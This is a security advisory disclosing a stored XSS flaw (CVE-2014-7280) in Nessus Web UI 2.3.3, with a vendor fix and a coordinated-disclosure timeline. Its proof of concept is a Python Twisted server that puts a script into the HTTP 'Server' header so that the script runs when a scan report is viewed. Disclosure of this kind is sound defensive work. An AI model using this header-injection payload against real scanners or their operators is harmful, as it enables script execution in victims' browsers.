Nessus Web UI 2.3.3: Stored XSS
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CVE number: CVE-2014-7280
Permalink: http://www.thesecurityfactory.be/permalink/nessus-stored-xss.html
Vendor advisory: http://www.tenable.com/security/tns-2014-08
-- Info --
Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. Tenable Network Security estimates that it is used by over 75,000 organisations worldwide.
-- Affected version -
Web UI version 2.3.3, Build
-- Vulnerability details --
By setting up a malicious web server that returns a specially crafted host header, an attacker is able to execute javascript code on the machine of the person performing a vulnerability scan of the web server. No escaping on javascript code is being performed when passing the server header to the affected Web UI version via a plugin.
The javascript code will be stored in the backend database, and will execute every time the target views a report that returns the server header.
-- POC --
import sys
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.python import log
class Site(server.Site):
def getResourceFor(self, request):
request.setHeader('server', '<script>alert(1)</script>SomeServer')
return server.Site.getResourceFor(self, request)
class HelloResource(resource.Resource):
isLeaf = True
numberRequests = 0
def render_GET(self, request):
self.numberRequests += 1
request.setHeader("content-type", "text/plain")
return "theSecurityFactory Nessus POC"
log.startLogging(sys.stderr)
reactor.listenTCP(8080, Site(HelloResource()))
reactor.run()
-- Solution --
This issue has been fixed as of version 2.3.4 of the WEB UI.
-- Timeline --
2014-06-12 Release of Web UI version 2.3.3, build
2014-06-13 Vulnerability discovered and creation of POC
2014-06-13 Vulnerability responsibly reported to vendor
2014-06-13 Vulnerability acknowledged by vendor
2014-06-13 Release of Web UI version 2.3.4, build
2014-XX-XX Advisory published in coordination with vendor
-- Credit --
Frank Lycops
Frank.lycops [at] thesecurityfactory.be
